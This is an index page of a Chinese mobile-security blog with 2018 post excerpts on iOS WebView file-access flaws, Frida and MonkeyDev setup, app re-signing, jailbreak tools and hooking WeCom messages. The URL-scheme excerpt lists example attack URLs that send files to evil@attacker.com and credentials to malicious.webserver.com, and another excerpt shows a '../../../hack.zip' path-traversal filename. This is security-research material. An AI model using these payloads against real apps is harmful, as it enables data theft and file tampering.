m4bln


  • 首页

  • 归档

  • 标签

  • hint

  • 关于

  • 搜索

iOS应用安全 —— WebView安全

发表于 2018-06-25 | 阅读次数:
WebView是iOS用于显示网页的控件,是一个基于Webkit引擎、展现web页面的控件。WebView控件功能除了具有一般View的属性和设置外,还可对URL请求、页面加载、渲染、页面交互进行处理。 iOS下的Webview有UIWebView和WKWebView两种,其中UIWebView在iOS 8之后已经不推荐使用(https://developer.apple.com/documentation/uikit/uiwebview?changes=_6),但仍然有很多APP使用UIWebView。 File跨域漏洞UIWebView 此漏洞默认存在, WKWebView如果使用了不恰当的方式比如 [configuration.preferences setValue:@”TRUE” forKey:@”allowFileAccessFromFileURLs”]; 也会存在漏洞 攻击者可利用App文件下载机制将恶意文件写入沙盒内并诱导用户打开,当用户打开恶意文件时,其中的恶意代码可通过AJAX向“file://”域发起请求,从而远程获取App沙盒内所有的本地敏感数据。 UIWebViewUIWebView虽然已经被遗弃,但依然还有很多app继续使用,且最新版本的iOS也会兼容UIWebView。由于UIWebView本身存在严重的跨域漏洞,所以只要使用UIWebView都有可能存在跨域漏洞。 漏洞原因在于UIWebView的WebKitAllowUniversalAccessFromFileURLs和WebKitAllowFileAccessFromFileURLs默认开启,导致通过js可以访问沙箱内的文件,甚至可以静默上传文件到远端。 漏洞代码示例:123456789UIWebView* uiweb = [[UIWebView alloc] initWithFrame ...
阅读全文 »

iOS应用安全 —— MonkeyDev的使用

发表于 2018-06-19 | 阅读次数:
概述MonkeyDev的功能主要如下: 可以使用Xcode开发CaptainHook Tweak、Logos Tweak 和 Command-line Tool,在越狱机器开发插件,这是原来iOSOpenDev功能的迁移和改进。 只需拖入一个砸壳应用,自动集成class-dump、restore-symbol、Reveal、Cycript和注入的动态库并重签名安装到非越狱机器。 支持调试自己编写的动态库和第三方App 支持通过CocoaPods第三方应用集成SDK以及非越狱插件,简单来说就是通过CocoaPods搭建了一个非越狱插件商店。 MonkeyDev wiki: https://github.com/AloneMonkey/MonkeyDev/wiki 安装 安装最新的theos 1sudo git clone --recursive https://github.com/theos/theos.git /opt/theos 安装ldid 1brew install ldid 安装MonkeyDev 1sudo /bin/sh -c "$(curl -fsSL https://raw.githubusercontent.com/AloneMonkey/MonkeyDev/master/bin/md-install)" 更新MonkeyDev1sudo /bin/sh -c "$(curl -fsSL https://raw.githubusercontent.com/AloneMonkey/MonkeyDev/master/bin/md-update)" 参考https://github.com/AloneMonkey/MonkeyDev/wiki/%E5%AE%89%E8%A3%85 使用安装完成之后,打开Xco ...
阅读全文 »

iOS应用安全 —— 非越狱下使用Frida

发表于 2018-06-18 | 阅读次数:
概述frida-server在运行时需要root环境,但如果没有越狱的设备,依然可以使用frida,我们只需要重打包ipa文件,将frida运行库注入ipa文件中,app在启动时会自动加载frida运行库,即可实现在非越狱的设备上使用Frida. 由于苹果的混淆策略和代码签名,重打包app的难度很高,一些自动重打包的工具如Objection、IPAPatch等简化了重打包过程,但其本质大概相同,以下分步介绍手动重打包frida运行库的过程。 1. 配置optool和ios-deployoptool可以将一个外部的lib插入到Mach-O文件头,使binary文件在启动时会自动加载该lib。如已经配置过,直接跳过。12345$ git clone https://github.com/alexzielenski/optool.git$ cd optool/$ git submodule update --init --recursive$ xcodebuild$ ln -s <your-path-to-optool>/build/Release/optool /usr/local/bin/optool ios-deploy可以在不用Xcode的前提下调试和部署APP:123456$ git clone https://github.com/phonegap/ios-deploy.git$ cd ios-deploy/$ xcodebuild$ cd build/Release$ ./ios-deploy$ ln -s <your-path-to-ios-deploy>/build/Release/ios-deploy /usr/local/bin/ios-deploy 更新bashrc文件12zsh: # . ~/.zshrcbash: # . ~/. ...
阅读全文 »

Android JsBridge

发表于 2018-06-11 | 阅读次数:
Android客户端中经常会遇到js调用java代码的场景,例如一些Hybrid APP或H5等,JsBridge即通过js调用java或者通过java调用js函数。 java调用js1. webview的loadUrl1WebView.loadUrl("javascript:function()"); 2. webview的evaluateJavascript使用evaluateJavascript可以获得js函数的返回值123456mWebView.evaluateJavascript("javascript:callJS()", new ValueCallback<String>() { @Override public void onReceiveValue(String value) { //此处为 js 返回的结果 }}); js调用JavaAndroid中js调用java通常有以下几种做法: 1. 通过WebView的addJavascriptInterface()进行对象映射定义一个与JS对象映射关系的Android类:AndroidtoJs,在Android里通过WebView设置Android类与JS代码的映射 java代码:123456789101112mWebView.addJavascriptInterface(new AndroidtoJs(), "test");public class AndroidtoJs extends Object { // 定义JS需要调用的方法 // 被JS调用的方法必须加入@JavascriptInterface注解 ...
阅读全文 »

iOS应用安全—— 基础篇

发表于 2018-05-31 | 阅读次数:
越狱几种类型的越狱: Tethered jailbreaks 不完美越狱,重启后无法保留 Semi-tethered jailbreaks 半完美越狱,必须通过连接电脑越狱,设备启动后会自动进入非越狱模式 Semi-untethered jailbreaks 半完美越狱,设备启动能自己进入到越狱模式,但内核的代码签名校验不会被自动禁用,需要通过启动一个应用完成 Untethered jailbreaks 完美越狱,一次越狱后即可永久越狱 注意:如果设备已经越狱,切勿升级系统,否则会丢失越狱 根据iOS版本判断设备是否可以越狱:Can I Jailbreak? https://canijailbreak.com/ 几个iPhone越狱相关的资源: The iPhone Wiki Reddit Jailbreak Cydia通常在越狱完成后会自动安装Cydia,下面介绍几个在Cydia下需要安装的工具: openssh默认的ssh账号是root,默认密码为alpine Frida在Cydia中添加源 https://build.frida.re后直接搜索安装 BigBoss Recommended Toolsunix命令行工具,iOS系统不提供,如wget, unrar, less,sqlite3等 Class Dump提取Mach-O文件信息 SubstrateHook工具 AppList查询所有安装的app NeedleNeedle是iOS平台上的一套动态测试,由mwr开发,类似于Android平台上的Drozer,但因系统的不同而功能不一。 以下为mac上配置Needle的过程: 安装依赖 123456789101112131415161718192021#Core dependenciesbrew install pythonbrew install ...
阅读全文 »

零宽度空格 Zero-width space

发表于 2018-05-14 | 阅读次数:
0x0 简介零宽度空格,顾名思义即,具有空格的功能,但宽度为零。例如:1Left​​​​​​​​​​Right 上述文本中,我们看到的是LeftRight,但实际上在Left和Right之间有10个Zero-width space,它不占用宽度,但占用字节空间。 0x1 实例Zero-width space的Unicode编码为U+FEFF,二进制编码为“\xE2\x80\x8E”,根据维基百科描述,其主要用于后台处理字符边界而又无需可见空格的情况。 例如,下边两个字符串,我们在任意位置鼠标双击时会看到明显效果, 包含Zero-width space,双击任意位置选中某个单词1Lorem​Ipsum​Dolor​Sit​Amet​Consectetur​Adipiscing​Elit​Sed​Do​Eiusmod​Tempor​Incididunt​Ut​Labore​Et​Dolore​Magna​Aliqua​Ut​Enim​Ad​Minim​Veniam​Quis​Nostrud​Exercitation​Ullamco​Laboris​Nisi​Ut​Aliquip​Ex​Ea​Commodo​Consequat​Duis​Aute​Irure​Dolor​In​Reprehenderit​In​Voluptate​Velit​Esse​Cillum​Dolore​Eu​Fugiat​Nulla​Pariatur​Excepteur​Sint​Occaecat​Cupidatat​Non​Proident​Sunt​In​Culpa​Qui​Officia​Deserunt​Mollit​Anim​Id​Est​Laborum 不含Zero-width space,双击任意位置选中全部字符1LoremIpsumDolorSitAmetConsecteturAdipi ...
阅读全文 »

企业微信的消息

发表于 2018-05-11 | 阅读次数:
企业微信使用protobuf nano对数据进行封装,使用Frida进行批量hook,可以打印出所有的序列化消息。 LocationMessageHook “com.tencent.wework.foundation.model.pb.WwRichmessage$LocationMessage”函数消息内容12345address: "\345\214\227\344\272\254\345\270\202\345\214\227\344\272\254\345\270\202\346\265\267\346\267\200\345\214\272\345\275\251\345\222\214\345\235\212\350\267\257\345\214\227\345\233\233\347\216\257\350\245\277\350\267\25766\345\217\267"latitude: 39.984293longitude: 116.307449title: "\345\214\227\345\233\233\347\216\257\350\245\277\350\267\25766\345\217\267"zoom: 15.0 FileMessageHook “com.tencent.wework.foundation.model.pb.WwRichmessage$FileMessage”函数 filename曾经存在路径穿越漏洞,通过hook String.getBytes()修改filename为”../../../hack.zip”123456789101112131415161718192021222324252627282930313233aes_key: ""decrypt_re ...
阅读全文 »

URL Scheme安全漏洞案例

发表于 2018-05-06 | 阅读次数:
URL Scheme可能存在的问题 调起内部敏感组件或数据myapp://cmd/run?program=/path/to/program/to/run 直接更改内部配置myapp://cmd/set_preference?use_ssl=false 泄露内部敏感文件myapp://cmd/sendfile?to=evil@attacker.com&file=some/data/file 删除某些敏感文件myapp://cmd/delete?data_to_delete=my_document_ive_been_working_on 泄露凭据信息myapp://cmd/login_to?server_to_send_credentials=malicious.webserver.com 未过滤数据导致的xssmyapp://cmd/adduser=’>”>javascript to run goes here 目录穿越myapp://use_template?template=/../../../../../../../../some/other/file
阅读全文 »

Web调起APP研究

发表于 2018-04-28 | 阅读次数:
应用开发中经常会有从web端启动App的需求,这里总结了常见的几种方式。 Android0x0 自定义schemeAndroid上常用的是通过scheme协议的方式唤醒本地app客户端。即App在AndroidManifest.xml中为要打开的Activity注册一个intent-filter,添加scheme,并注明host和data等关键字段,前端保持一致后就可以实现在Web页中调起本地App了。 注册scheme的代码如下:1234567<intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <!--BROWSABLE指定该Activity能被浏览器安全调用--> <data android:host="xyz.com" android:scheme="m4bln"/></intent-filter> 这里的action、category、data都必须完全匹配才能获得intent,android.intent.category.DEFAULT是默认的,有实际意义的是android.intent.category.BROWSABLE,表示允许通过浏览器启动该activity(调起App)。data限定了触发条件,当scheme为m4bln且host为xyz.co ...
阅读全文 »

iOS应用安全—— IPAPatch免越狱调试、修改第三方App

发表于 2018-04-17 | 阅读次数:
简介IPAPatch可以实现免越狱调试、修改第三方APP,其原理主要是基于砸壳的APP进行修改和签名,并安装在真机设备上,类似于重打包。 项目地址:https://github.com/Naituw/IPAPatch IPAPatch基于Xcode实现,整个过程在 Xcode 中进行,就像在编写自己的 App,此外: 支持链接第三方 Framework 在 Xcode 中可以直接断点进行调试,可以用 lldb 命令(如 po),输出运行时信息 可以使用 Xcode 的调试功能查看 View Hierarchy、Memory Graph 等信息 修改过的 App 可以与原始 App 共存,并自动修改名字以作区分 实现原理主要的自动化过程在 patch.sh 这个脚本里,Xcode 会在把代码编译成 Framework 后执行这个脚本: 解压 IPA 文件 用 IPA 文件的内容,替换掉 Xcode 生成的 .app 的内容 通过 OPTOOL,将代码生成的 Framework 及其他外部 Framework,注入到二进制文件中 对这些文件进行重新签名 完成后,Xcode 会自动将修改过的 .app 安装到 iPhone 上 patch.sh的注释中写的很明确:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221 ...
阅读全文 »
1…456…9

m4bln

影后入林到驿前

84 日志
2 标签
© 2021 m4bln
由 Hexo 强力驱动
|
主题 — NexT.Mist v5.1.3